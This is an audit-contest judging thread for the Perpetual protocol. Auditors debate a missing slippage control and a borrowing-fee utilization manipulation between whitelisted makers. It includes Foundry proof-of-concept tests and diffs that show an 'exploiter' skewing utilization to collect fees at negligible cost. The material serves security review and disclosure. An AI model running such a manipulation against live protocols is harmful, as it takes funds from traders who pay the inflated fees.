Result: Medium Has Duplicates
sherlock-admin3
Escalations have been resolved successfully!
Escalation status:
sherlock-admin3
The Lead Senior Watson signed off on the fix.
deposit()
/withdraw()
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/121
The protocol has acknowledged this issue.
0xRobocop, Bauer, IllIllI, PUSH0, ni8mare
There are no slippage control arguments for maker LP deposit()
/withdraw()
There are no arguments to the deposit()
/withdraw()
functions to limit the amount of collateral lost to market movements, and there are no preview functions to allow a UI to show how much collateral would be received when shares are redeemed.
A user may submit a transaction to redeem approximately $100 worth of shares given base price X, but when the block gets mined two seconds later, the price is at 0.5X due to a flash crash. By the time the user sees what they got, the crash has been arbitraged away, and the base price is back at price X, with the user having gotten half the amount they should have.
Users can only specify inputs, not expected outputs:
// File: src/maker/OracleMaker.sol : OracleMaker.deposit() #1
175: function deposit(uint256 amountXCD) external onlyWhitelistLp returns (uint256) {
// File: src/maker/OracleMaker.sol : OracleMaker.withdraw() #2
228: function withdraw(uint256 shares) external onlyWhitelistLp returns (uint256) {
and the value received is based on the Pyth oracle.
Manual Review
Provide slippage parameters
sherlock-admin3
2 comment(s) were left on this issue during the judging contest.
santipu_ commented:
Medium
takarez commented:
no need of slippage.
lnxrp
lnxrp
Clarification: we knew there is currently not enough protection as commented in the two links above
IllIllI000
Escalate
As is pointed out here, the hierarchy says this should be valid, and if that escalation is right about the rule, this one should be valid because it's a loss of funds to the LP without any way to avoid it. See also this
sherlock-admin2
Escalate
As is pointed out here, the hierarchy says this should be valid, and if that escalation is right about the rule, this one should be valid because it's a loss of funds to the LP without any way to avoid it. See also this
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
nevillehuang
I believe this issue should remain invalid given it is a known issue based on code comments within contract, unless I have misinterpreted what the hierachy of truth is meant to represent.
WangSecurity
I believe this should remain invalid. The hierarchy of truth is used when there's a conflicting information between the README, rules or comments, which is not the case when we talk about intended design/known issues. Hence, planning to reject the escalation and leave the issue as it is.
Evert0x
Result: Invalid Has Duplicates
sherlock-admin4
Escalations have been resolved successfully!
Escalation status:
Evert0x
Source: https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/126
The protocol has acknowledged this issue.
IllIllI
The SpotHedgeBaseMaker LPs can maximize their LP returns by closing their trades against other whitelisted makers
The whitelisted makers, which the SpotHedgeBaseMaker and the OracleMaker are, [c]an receive borrowing fee based on [their] utilization ratio
and [d]on’t need to pay borrowing fee
themselves. The borrowing fee is meant to be compensation for providing liquidity to the market, but makers like the SpotHedgeBaseMaker, which are able to hedge their position risk, can arbitrarily increase their utilization ratio by opening positions against the OracleMaker, and immediately closing them against the SpotHedgeBaseMaker, maximizing their fees without having to provide liquidity over time.
An attacker can choose a specific market direction, then monitor the utilization of the OracleMaker. Any time the OracleMaker's utilization is flat, the attacker would open a position in the chosen market direction against the OracleMaker (to minimize the dynamic premium), then immediately close the position by offsetting it with a taker order against the SpotHedgeBaseMaker. The only risk the attacker has to take is holding the position for the approximately ~2 second optimism block time, until they're able to offset the position using the ClearingHouse to interact directly with the SpotHedgeBaseMaker.
Value extraction in the form of excessive fees, at the expense of traders on the other side of the chosen position direction.
Utilization does not take into account whether the taker is reducing their position, only that the maker is increasing theirs:
// File: src/borrowingFee/LibBorrowingFee.sol : LibBorrowingFee.updateReceiverUtilRatio() #1
40 /// spec: global_ratio = sum(local_ratio * local_open_notional) / total_receiver_open_notional
41 /// define factor = local_ratio * local_open_notional; global_ratio = sum(factor) / total_receiver_open_notional
42 /// we only know 1 local diff at a time, thus splitting factor to known_factor and other_factors
43 /// a. old_global_ratio = (old_factor + sum(other_factors)) / old_total_open_notional
44 /// b. new_global_ratio = (new_factor + sum(other_factors)) / new_total_open_notional
45 /// every numbers are known except new_global_ratio. sum(other_factors) remains the same between old and new
46 /// expansion formula a: sum(other_factors) = old_global_ratio * old_total_open_notional - old_factor
47 /// replace sum(other_factors) in formula b:
48 /// new_global_ratio = (new_factor + old_global_ratio * old_total_open_notional - old_factor) / new_total_open_notional
49 uint256 oldUtilRatioFactor = self.utilRatioFactorMap[receiver];
50 @> uint256 newTotalReceiverOpenNotional = self.totalReceiverOpenNotional;
51 uint256 oldUtilRatio = self.utilRatio;
52 uint256 newUtilRatio = 0;
53 if (newTotalReceiverOpenNotional > 0) {
54 // round up the result to prevent from subtraction underflow in next calculation
55 @> newUtilRatio = FixedPointMathLib.divUp(
56 oldUtilRatio * self.lastTotalReceiverOpenNotional + newUtilRatioFactor - oldUtilRatioFactor,
57 newTotalReceiverOpenNotional
58 );
59: }
and whitelisted makers never have to pay any fee:
// File: src/borrowingFee/BorrowingFee.sol : BorrowingFee.getPendingFee() #2
165 function getPendingFee(uint256 marketId, address trader) external view override returns (int256) {
166 @> if (_isReceiver(marketId, trader)) {
167 return _getPendingReceiverFee(marketId, trader);
168 }
169 return _getPendingPayerFee(marketId, trader);
170: }
Manual Review
There is no incentive to reduce utilization, and I don't see a good solution that doesn't involve the makers having to actively re-balance their positions, e.g. force makers to also have to pay the fee, and only pay the fee to the side that has the largest net non-maker open opposite position
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
santipu_ commented:
Medium/Low - Attacker's position may be closed with some losses due to slippage closing the position against SpotHedgeBaseMaker
42bchen
By doing this, the attacker will risk losing money because he needs to relay the position to our relayer, and he can't guarantee that this operation is profitable. Also, arbitrage between maker and maker is expected in our system.
IllIllI000
@42bchen the position only has to be open for one block so the position risk is small. The attacker gains value from the LP borrow fees over time that accrue well past the point at which they close the trade, not from the position itself. Every user on one side is affected by the higher fees, so even if the whole trade is a loss for the attacker, they've still gotten all other users to pay higher fees, which is a loss of funds for them. Also, this one was marked as a valid high, and has the same gap risk
42bchen
@42bchen the position only has to be open for one block so the position risk is small. The attacker gains value from the LP borrow fees over time that accrue well past the point at which they close the trade, not from the position itself. Every user on one side is affected by the higher fees, so even if the whole trade is a loss for the attacker, they've still gotten all other users to pay higher fees, which is a loss of funds for them. Also, this one was marked as a valid high, and has the same gap risk
update to confirmed, and we think using whitelistLp (only us) can decrease the incentive of attackers to do that, not yet figured out a better way (or easy way) to handle this issue, if you have any suggestions for solving this, please let us know, thank you 🙏
nirohgo
Escalate Should be Invalid.
This attack in unrealistic and will never be profitable. Here is why:
The attack has the cost of negative PnL due to price difference between Oracle Maker (Pyth price at best) and SpotHedgeBaseMaker (Uniswap slippage). The bigger the investment in skewing the borrow rate, the higher the cost.
skewing the utilization rate on Oracle Maker also skews the Funding Rate (more extremely since funding rate is affected non-linearly). This will cause market forces to rebalance the Oracle Maker (thus bringing its utilization rate back down) probably within minutes, and surely no longer than a day.
The cost of attack is order of magnitudes higher then the additional fees over the period of time it has effect. For example:
Under these assumptions:
A. Uniswap Pool base Liquidity 1000 Eth
B. Oracle maker Liquidity: 1M$
C. SpotHedgeBaseMaker Liquidity: 1M$
D. MinMarginRatio: 100%
E. 100,000 USD open notional (that pays borrow fees) in the system.
F. Borrow Fees (unitization rates) are rebalanced within 24 hours.
G. max borrow fee per year: ~30% (0.00000001 per second).
Under the above assumptions the maximum amount that can be used to push the utilization rate is 1M$.
The borrow fees gains from pushing utilization rates to the maximum over a day are at most $86.4
The slippage loss from opening and closing the positions that push utilization rate is ~$318000
Even if we stretch some of the assumptions (i.e. less slippage on uniswap, more open notional) the attack is not anywhere near profitable.
There are other hidden assumptions here, such as that the two makers liquidity is similar (otherwise you can't push utilization rate of both makers to the max while staying neutral) but I believe the above is sufficient to make the point.
sherlock-admin2
Escalate Should be Invalid.
This attack in unrealistic and will never be profitable. Here is why:
The attack has the cost of negative PnL due to price difference between Oracle Maker (Pyth price at best) and SpotHedgeBaseMaker (Uniswap slippage). The bigger the investment in skewing the borrow rate, the higher the cost.
skewing the utilization rate on Oracle Maker also skews the Funding Rate (more extremely since funding rate is affected non-linearly). This will cause market forces to rebalance the Oracle Maker (thus bringing its utilization rate back down) probably within minutes, and surely no longer than a day.
The cost of attack is order of magnitudes higher then the additional fees over the period of time it has effect. For example: Under these assumptions:
A. Uniswap Pool base Liquidity 1000 Eth
B. Oracle maker Liquidity: 1M$
C. SpotHedgeBaseMaker Liquidity: 1M$
D. MinMarginRatio: 100%
E. 100,000 USD open notional (that pays borrow fees) in the system.
F. Borrow Fees (unitization rates) are rebalanced within 24 hours.
G. max borrow fee per year: ~30% (0.00000001 per second). Under the above assumptions the maximum amount that can be used to push the utilization rate is 1M$.
The borrow fees gains from pushing utilization rates to the maximum over a day are at most $86.4 The slippage loss from opening and closing the positions that push utilization rate is ~$318000 Even if we stretch some of the assumptions (i.e. less slippage on uniswap, more open notional) the attack is not anywhere near profitable.There are other hidden assumptions here, such as that the two makers liquidity is similar (otherwise you can't push utilization rate of both makers to the max while staying neutral) but I believe the above is sufficient to make the point.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
This will cause market forces to re-balance the Oracle Maker (thus bringing its utilization rate back down) probably within minutes, and surely no longer than a day.
but the second paragraph of the Vulnerability Detail
section describes that this is the desired behavior, because the attack is for the benefit of the SHBM LPs, not the OM LPsnirohgo
- Most attacks have some cost, so that's not a good reason to invalidate an issue. This attack can be done over time so as to minimize the impact on the uniswap pool. There is a profit to be had here as is described above but even if there weren't, Sherlock rules don't require a profit if other users get a loss, and extra unwarranted borrow fees are a definite loss to other users.
Be that as it may, an attack that spends $318,000 to cause $86 loss does not count as a feasible attack/valid medium.
The escalating watson seems to have misunderstood the attack. They write This will cause market forces to re-balance the Oracle Maker (thus bringing its utilization rate back down) probably within minutes, and surely no longer than a day. but the second paragraph of the Vulnerability Detail section describes that this is the desired behavior, because the attack is for the benefit of the SHBM LPs, not the OM LPs
I don't think I misunderstood the attack. The borrowing fee rate is calculated based on the overall utilization rate of all Receivers (both the Oracle Maker and SHBM). What I meant is that at least half of the fabricated utilization rate that affects the fee rate (the part that's on the OM side) won't last long. In any event, my calculation of the gains was based on the attack effects lasting a full day. By then the utilization rate is expected re-balance on both makers (if borrowing rate is exceptionally high, either more LPs will enter, or positions will be closed). The point is that this is not a one-block attack. For it to feasible, the effect of the fabricated utilization need to last for a very long time, which won't happen.
IllIllI000
Be that as it may, an attack that spends $318,000 to cause $86 loss does not count as a feasible attack/valid medium.
I don't think I misunderstood the attack
Not sure where you're getting the arbitrary number of 318000 as the cost, when the position is only open for ~2 seconds and is only repeatedly done when there's liquidity. Also, 'expected to' sounds like a big assumption, when the attacker is actively pushing in one direction
nevillehuang
@IllIllI000 Could you provide a scenario/PoC to demonstrate the relative loss here so I can verify?
IllIllI000
@nevillehuang This is a slight modification of nirohgo's POC for https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/133
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;
import "forge-std/Test.sol";
import "../spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol";
import { OracleMaker } from "../../src/maker/OracleMaker.sol";
import "../../src/common/LibFormatter.sol";
import { SignedMath } from "@openzeppelin/contracts/utils/math/SignedMath.sol";
contract FundingFeeExploit is SpotHedgeBaseMakerForkSetup {
using LibFormatter for int256;
using LibFormatter for uint256;
using SignedMath for int256;
address public taker = makeAddr("Taker");
address public exploiter = makeAddr("Exploiter");
OracleMaker public oracle_maker;
function setUp() public override {
super.setUp();
//create oracle maker
oracle_maker = new OracleMaker();
_enableInitialize(address(oracle_maker));
oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18);
config.registerMaker(marketId, address(oracle_maker));
//PARAMETERS SETUP
//fee setup
//funding fee configs (taken from team tests)
config.setFundingConfig(marketId, 0.005e18, 1.3e18, address(oracle_maker));
//borrowing fee 0.00000001 per second as in team tests
config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000);
oracle_maker.setMaxSpreadRatio(0.1 ether); // 10% as in team tests
//whitelist users
oracle_maker.setValidSender(exploiter,true);
oracle_maker.setValidSender(taker,true);
//add more liquidity ($20M) to uniswap pool to simulate realistic slippage
deal(address(baseToken), spotLp, 10000e9, true);
deal(address(collateralToken), spotLp, 20000000e6, true);
vm.startPrank(spotLp);
uniswapV3NonfungiblePositionManager.mint(
INonfungiblePositionManager.MintParams({
token0: address(collateralToken),
token1: address(baseToken),
fee: 3000,
tickLower: -887220,
tickUpper: 887220,
amount0Desired: collateralToken.balanceOf(spotLp),
amount1Desired: baseToken.balanceOf(spotLp),
amount0Min: 0,
amount1Min: 0,
recipient: spotLp,
deadline: block.timestamp
})
);
//mock the pyth price to be same as uniswap (set to ~$2000 in base class)
pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C);
_mockPythPrice(2000,0);
}
function testBorrowingFeePOC() public {
//deposit 5M collateral as margin for exploiter (also mints the amount)
uint256 startQuote = 5000000*1e6;
_deposit(marketId, exploiter, startQuote);
console.log("Exploiter Quote balance at Start: %s\n", startQuote);
//deposit to makers
//initial HSBM maker deposit: 2000 base tokens ($4M)
vm.startPrank(makerLp);
deal(address(baseToken), makerLp, 2000*1e9, true);
baseToken.approve(address(maker), type(uint256).max);
maker.deposit(2000*1e9);
//initial oracle maker deposit: $2M (1000 base tokens)
deal(address(collateralToken), makerLp, 2000000*1e6, true);
collateralToken.approve(address(oracle_maker), type(uint256).max);
oracle_maker.deposit(2000000*1e6);
vm.stopPrank();
//Also deposit collateral directly to SHBM to simulate some existing margin on the SHBM from previous activity
_deposit(marketId, address(maker), 2000000*1e6);
int256 exploiterPosSizeStart = vault.getPositionSize(marketId,address(exploiter));
console.logInt(exploiterPosSizeStart);
//Exploiter opens -1 base tokens long on oracle maker
vm.startPrank(exploiter);
(int256 posBase, int256 openNotional) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(oracle_maker),
isBaseToQuote: false,
isExactInput: false,
amount: 1*1e18,
oppositeAmountBound:type(uint256).max,
deadline: block.timestamp,
makerData: ""
})
);
console.log("Utilization after short (long, short):");
(uint256 utilLong, uint256 utilShort) = borrowingFee.getUtilRatio(marketId);
console.log(utilLong, utilShort);
//move to next block
vm.warp(block.timestamp + 2 seconds);
//Exploiter closes the short against the SHBM to increase the ratio
int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter));
(posBase,openNotional) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: true,
isExactInput: true,
amount: 1 * 1e18,
oppositeAmountBound:0,
deadline: block.timestamp,
makerData: ""
})
);
//exploiter withdraws entirely
int256 upDec = vault.getUnsettledPnl(marketId,address(exploiter));
int256 stDec = vault.getSettledMargin(marketId,address(exploiter));
int256 marg = stDec-upDec;
uint256 margAbs = marg.abs();
uint256 toWithdraw = margAbs.formatDecimals(INTERNAL_DECIMALS,collateralToken.decimals());
vault.transferMarginToFund(marketId,toWithdraw);
vault.withdraw(vault.getFund(exploiter));
vm.stopPrank();
int256 exploiterPosSizeFinish = vault.getPositionSize(marketId,address(exploiter));
console.logInt(exploiterPosSizeFinish);
uint256 finalQuoteBalance = collateralToken.balanceOf(address(exploiter));
console.log("Exploiter Quote balance at End: %s", finalQuoteBalance);
(uint256 utilLong2, uint256 utilShort2) = borrowingFee.getUtilRatio(marketId);
console.log(utilLong2, utilShort2);
}
}
output:
Exploiter Quote balance at Start: 5000000000000
0
Utilization after short (long, short):
1000000000000000 0
0
Exploiter Quote balance at End: 4999993607598
1000000000000000 995908769461738
So the attacker only had to spend 0.000128% in order to change the short utilization ratio from 0 to 995908769461738, with only one Eth. Note that the attacker no longer has any open position and, as is outlined in the vulnerability description, they can do this repeatedly in small amounts in order to increase the ratio arbitrarily, without incurring slippage in the uniswap pool, and they can be one of the SHMB's LPs in order to profit on this undeserved ratio, in the form of borrow fees, where the utilization ratio for the LP is directly proportional (Can receive borrowing fee based on its utilization ratio
) to what percentage of the fees they're paid.
As is mentioned here if #133 is High, this one should be too
nirohgo
@nevillehuang . This POC proves nothing. This Watson keeps trying to pin this finding to #133 but they are essentially different. The difference is that funding fee changes exponentially with utilization, while borrowing fee changes linearly up to max borrowing fee. Because of that, an attack that forces funding fee to the max can be profitable within a couple of blocks (as in #133) but an attack that tries to use the borrowing fee can not. All this POC shows is that an increase in utilization causes an increase in borrowing fee, not that that borrowing fee increase can get anywhere close to the cost of attack of make any meaningful damage in a reasonable timeframe.
IllIllI000
One is exponential, one is linear. However, once the attacker has skewed the ratio, there's no way for the admin to do anything about it, without losing the fees themselves.
nirohgo
The point is, how fast can the attacker make a large enough gain to cover the cost of the attack (or just inflict meaningful damage) since both rates are applied per second. In both cases the attackers create a skew that can not be held for a long time, market forces will balance it over time. But with funding rate the skew can have enough of an effect even within one block while a skew in borrowing fee will take a long time to accrue enough value, and by the time it does, the effect will be gone.
IllIllI000
nirohgo
- Do you agree that eventually the fees will cover the 0.000128% cost? 2. Even if it takes a while to cover the attacker's costs, everyone is immediately paying these fees (a loss for them)
Not really. Let's take the POC you provided. If you assume there's $1,000,000 in positions that pay borrowing fee, the effect of your 1 Eth "attack" on the fees will add only 30 cents per day in fees. that means it will take 6666 days for these fees to cover the attack. By then whatever effect your attack had on the utilization rate/borrowing fee will have been long gone.
IllIllI000
//borrowing fee 0.00000001 per second as in team tests
and 0.00000001 $1,000,000 86400 secs/day = $864 per day paid by the position holders, for no benefit. And I'm not sure why you're counting days to cover $2k, nor where $0.30/day is coming from, when the attacker did not lose $2k - they lost $0.26
nevillehuang
Based on the discussion above, seems like some makers can profit off of other whitelisted makers for a material amount of funds. @IllIllI000 The numerical impact shown in #133 seems to be significantly higher than this issue here though, why do you think it should be high?
nirohgo
//borrowing fee 0.00000001 per second as in team tests
and 0.00000001 $1,000,000 86400 secs/day = $864 per day paid by the position holders, for no benefit. And I'm not sure why you're counting days to cover $2k, nor where $0.30/day is coming from, when the attacker did not lose $2k - they lost $0.26
You're wrong. 0.00000001 per second is the maximum borrowing fee. The difference in fee caused by the attack is 30 cents per day. The cost of the attack is $7 (compare quote balance at end to start). to 21 days to cover the cost. Doesn't matter much because the effect is miniscule.
some makers can profit off of other whitelisted makers for a material amount of funds
@nevillehuang do explain where got that some makers can profit off of other whitelisted makers for a material amount of funds?
WangSecurity
@nirohgo can you explain where you get the 30 cents per day from? As of now, your calculations have changes from one message to another and I can't really see where the calculations come from. I'm inclined towards rejecting the escalation and leaving the issue as it is due to the PoC provided the @IllIllI000 and this comment
nirohgo
@nirohgo can you explain where you get the 30 cents per day from? As of now, your calculations have changes from one message to another and I can't really see where the calculations come from. I'm inclined towards rejecting the escalation and leaving the issue as it is due to the PoC provided the @IllIllI000 and this comment
@WangSecurity my numbers are consistent.
The 30 cents per day are based on the POC provided by the Watson, which tried to show that the attack is plausible when using small amounts (1 Eth).
To see this, add the following lines at the end of the POC function code:
//added position to simulate the acumulated borrowing fee over a day
_deposit(marketId, taker, 1000000*1e6);
vm.prank(taker);
clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: true,
isExactInput: true,
amount: 500 * 1e18,
oppositeAmountBound:0,
deadline: block.timestamp,
makerData: ""
})
);
vm.warp(block.timestamp+1 days);
console.log("accumulated Borrowing Fee in a day (USD, 18 decimals):");
int256 bfee = borrowingFee.getPendingFee(marketId,taker);
console.logInt(bfee);
This code shows how much borrowing fee is accumulated over a day when there are $1,000,000 of positions paying borrowing fee. Run the test once as is (and take note of accumulated Borrowing Fee), then comment out the attack code(starting at vm.startPrank(exploiter);
until the end at vault.withdraw(vault.getFund(exploiter)); vm.stopPrank();
and run again. The difference between the accumulated borrowing fee with and without the attack is ~0.29*10^18 or roughly 30 cents.
nirohgo
BTW @WangSecurity here is how I got to the numbers in my original scenario (showing that the attack is not feasible with large amounts):
Under these assumptions: A. Uniswap Pool base Liquidity 1000 Eth B. Oracle maker Liquidity: 1M$ C. SpotHedgeBaseMaker Liquidity: 1M$ D. MinMarginRatio: 100% E. 100,000 USD open notional (that pays borrow fees) in the system. F. Borrow Fees (unitization rates) are rebalanced within 24 hours. G. max borrow fee per year: ~30% (0.00000001 per second). Under the above assumptions the maximum amount that can be used to push the utilization rate is 1M$. The borrow fees gains from pushing utilization rates to the maximum over a day are at most $86.4 The slippage loss from opening and closing the positions that push utilization rate is ~$318000
This is based on the following POC:
In SpotHedgeBaseMakerForkSetup.sol replace lines 81,82 with:
deal(address(baseToken), spotLp, 1000e9, true);
deal(address(collateralToken), spotLp, 2000000e6, true);
(setting 1000 Eth base liquidity in Uniswap Pool)
In SpotHedgeBaseMakerForkSetup.sol replace lines 150- 153 with:
deal(address(baseToken), address(makerLp), 500e9, true);
vm.startPrank(makerLp);
baseToken.approve(address(maker), type(uint256).max);
maker.deposit(500e9);
(setting initial SpotHedgeBaseMaker liquidity to $1M)
Add the following code to a test.sol file under perp-contract-v3/test/spotHedgeMaker/ :
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;
// forge test --match-test testSandwich -vv
import "forge-std/Test.sol"; import "../spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol"; import { OracleMaker } from "../../src/maker/OracleMaker.sol"; import "../../src/common/LibFormatter.sol"; import { SignedMath } from "@openzeppelin/contracts/utils/math/SignedMath.sol"; import { IUniswapV3PoolState } from "../../src/external/uniswap-v3-core/contracts/interfaces/pool/IUniswapV3PoolState.sol";
contract borrowFeePOC is SpotHedgeBaseMakerForkSetup {
using LibFormatter for int256;
using LibFormatter for uint256;
using SignedMath for int256;
address public taker = makeAddr("taker");
address public exploiter = makeAddr("Exploiter");
OracleMaker public oracle_maker;
function setUp() public override {
super.setUp();
oracle_maker = new OracleMaker();
_enableInitialize(address(oracle_maker));
oracle_maker.initialize(marketId, "OM", "OM", address(addressManager), priceFeedId, 1e18);
config.registerMaker(marketId, address(oracle_maker));
config.setFundingConfig(marketId, 0.005e18, 1.3e18, address(oracle_maker));
config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000);
oracle_maker.setMaxSpreadRatio(0.1 ether);
oracle_maker.setValidSender(taker,true);
oracle_maker.setValidSender(exploiter,true);
//initial oracle maker liquidity
vm.startPrank(makerLp);
deal(address(collateralToken), makerLp,1000000*1e6, true);
collateralToken.approve(address(oracle_maker), type(uint256).max);
oracle_maker.deposit(1000000*1e6);
vm.stopPrank();
pyth = IPyth(0xff1a0f4744e8582DF1aE09D5611b887B6a12925C);
_mockPythPrice(2000,0);
}
function testBorrowRateIssue() public {
//set max borrow rate
//borrowing fee 0.00000001 per second as in team tests
config.setMaxBorrowingFeeRate(marketId, 10000000000, 10000000000);
oracle_maker.setMaxSpreadRatio(0.1 ether); // 10% as in team tests
oracle_maker.setMinMarginRatio(1 ether);
maker.setMinMarginRatio(1 ether);
//inititalize taker/exploiter with $10M each
_deposit(marketId, taker, 10000000 * 1e6);
_deposit(marketId, exploiter, 10000000 * 1e6);
console.log("Exploiter Margin at start: ");
int256 expMargStart = vault.getMargin(marketId,address(exploiter));
console.logInt(expMargStart);
// exploiter opens largest posible position on OM to maximize borrowing fee ($1M in this case),
//and a counter position of same size on SHBM.
vm.prank(exploiter);
(int256 pb, int256 pq) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(oracle_maker),
isBaseToQuote: false,
isExactInput: false,
amount: 500 * 1e18,
oppositeAmountBound:type(uint256).max,
deadline: block.timestamp,
makerData: ""
})
);
int256 exploiterPosSize = vault.getPositionSize(marketId,address(exploiter));
vm.prank(exploiter);
( pb, pq) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(maker),
isBaseToQuote: true,
isExactInput: true,
amount: exploiterPosSize.abs(),
oppositeAmountBound:0,
deadline: block.timestamp,
makerData: ""
})
);
console.log("Exploiter Margin at end: ");
int256 expMargEnd = vault.getMargin(marketId,address(exploiter));
console.logInt(expMargEnd);
//create taker position to represent $100,000 utility paying the bloated borrowing fee
//for a day
vm.startPrank(taker);
( pb, pq) = clearingHouse.openPosition(
IClearingHouse.OpenPositionParams({
marketId: marketId,
maker: address(oracle_maker),
isBaseToQuote: true,
isExactInput: true,
amount: 50 * 1e18,
oppositeAmountBound:0,
deadline: block.timestamp,
makerData: ""
})
);
//move a day forward to see how much borrow fees are collected in a day
vm.warp(block.timestamp + 1 days);
console.log("accumulated Borrowing Fee in a day (USD, no decimals):");
int256 bfee = borrowingFee.getPendingFee(marketId,taker);
console.logInt(bfee / 1e18);
//exploiter loss from slippage in the double move:
int256 exploiterMarginDiff = expMargEnd - expMargStart;
console.log("Cost of the exploit (USD, no decimals):");
console.logInt(exploiterMarginDiff / 1e18);
}
}
4. Run with `forge test --match-test testBorrowRateIssue -vv`
**IllIllI000**
I modified nirohgo's POC (search for `IllIllI` for the changes), and the output shows a profit of $861
<details><summary>diff</summary>
```diff
diff --git a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol
index 66991bf..40183f1 100644
--- a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol
+++ b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerForkSetup.sol
@@ -72,14 +72,14 @@ contract SpotHedgeBaseMakerForkSetup is ClearingHouseIntSetup {
baseToken = new TestCustomDecimalsToken("testETH", "testETH", 9); // Deliberately different from WETH so we could test decimal conversions.
vm.label(address(baseToken), baseToken.symbol());
- uint24 spotPoolFee = 3000;
+ uint24 spotPoolFee = 500;//500
uniswapV3B2QPath = abi.encodePacked(address(baseToken), uint24(spotPoolFee), address(collateralToken));
uniswapV3Q2BPath = abi.encodePacked(address(collateralToken), uint24(spotPoolFee), address(baseToken));
- deal(address(baseToken), spotLp, 100e9, true);
- deal(address(collateralToken), spotLp, 200000e6, true);
+ deal(address(baseToken), spotLp, 1000e9, true);
+ deal(address(collateralToken), spotLp, 2000000e6, true);
//
// Provision Uniswap v3 system
@@ -147,10 +147,10 @@ contract SpotHedgeBaseMakerForkSetup is ClearingHouseIntSetup {
maker.setUniswapV3Path(address(baseToken), address(collateralToken), uniswapV3B2QPath);
maker.setUniswapV3Path(address(collateralToken), address(baseToken), uniswapV3Q2BPath);
- deal(address(baseToken), address(makerLp), 1e9, true);
+ deal(address(baseToken), address(makerLp), 500e9, true);
vm.startPrank(makerLp);
baseToken.approve(address(maker), type(uint256).max);
- maker.deposit(1e9);
+ maker.deposit(500e9);
vm.stopPrank();
}
diff --git a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerIntSetup.sol b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerIntSetup.sol
index 3b0b850..6b1f185 100644
--- a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerIntSetup.sol
+++ b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerIntSetup.sol
@@ -21,7 +21,7 @@ contract SpotHedgeBaseMakerIntSetup is ClearingHouseIntSetup {
FakeUniswapV3Factory public uniswapV3Factory;
FakeUniswapV3Quoter public uniswapV3Quoter;
- uint24 public spotPoolFee = 3000;
+ uint24 public spotPoolFee = 500; //500
address public spotPool = makeAddr("SpotPool");
bytes public uniswapV3B2QPath;
diff --git a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerSpecSetup.sol b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerSpecSetup.sol
index 1e31111..7ed52ce 100644
--- a/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerSpecSetup.sol
+++ b/perp-contract-v3/test/spotHedgeMaker/SpotHedgeBaseMakerSpecSetup.sol
@@ -32,8 +32,8 @@ contract SpotHedgeBaseMakerSpecSetup is MockSetup {
quoteToken = new TestCustomDecimalsToken("USDC", "USDC", 6);
vm.label(address(quoteToken), quoteToken.symbol());
- uniswapV3B2QPath = abi.encodePacked(address(baseToken), uint24(3000), address(quoteToken));
- uniswapV3Q2BPath = abi.encodePacked(address(quoteToken), uint24(3000), address(baseToken));
+ uniswapV3B2QPath = abi.encodePacked(address(baseToken), uint24(500), address(quoteToken)); // 500
+ uniswapV3Q2BPath = abi.encodePacked(address(quoteToken), uint24(500), address(baseToken)); // 500
vm.mockCall(
mockConfig,
@@ -73,7 +73,7 @@ contract SpotHedgeBaseMakerSpecSetup is MockSetup {
IUniswapV3Factory.getPool.selector,
address(baseToken),
address(quoteToken),
- uint24(3000)
+ uint24(500)//500
),
abi.encode(uniswapV3SpotPool)
);
@@ -83,7 +83,7 @@ contract SpotHedgeBaseMakerSpecSetup is MockSetup {
IUniswapV3Factory.getPool.selector,
address(quoteToken),
address(baseToken),
- uint24(3000)
+ uint24(500)//500
),
abi.encode(uniswapV3SpotPool)
);
The output shows:
Ran 1 test for test/spotHedgeMaker/test.sol:borrowFeePOC
[PASS] testBorrowRateIssue() (gas: 2669547)
Logs:
Exploiter Margin at start:
10000000000000000000000000
Exploiter Margin at end:
9999998681150000000000000
accumulated Borrowing Fee in a day (USD, no decimals):
862
Cost of the exploit (USD, no decimals):
-1
WangSecurity
At this point, I believe the issue is valid and should remain as it is. Planning to reject the escalation.
If I'm missing anything here that can invalidate the submitter's POC, please tag me.
nirohgo
At this point, I believe the issue is valid and should remain as it is. Planning to reject the escalation.
If I'm missing anything here that can invalidate the submitter's POC, please tag me.
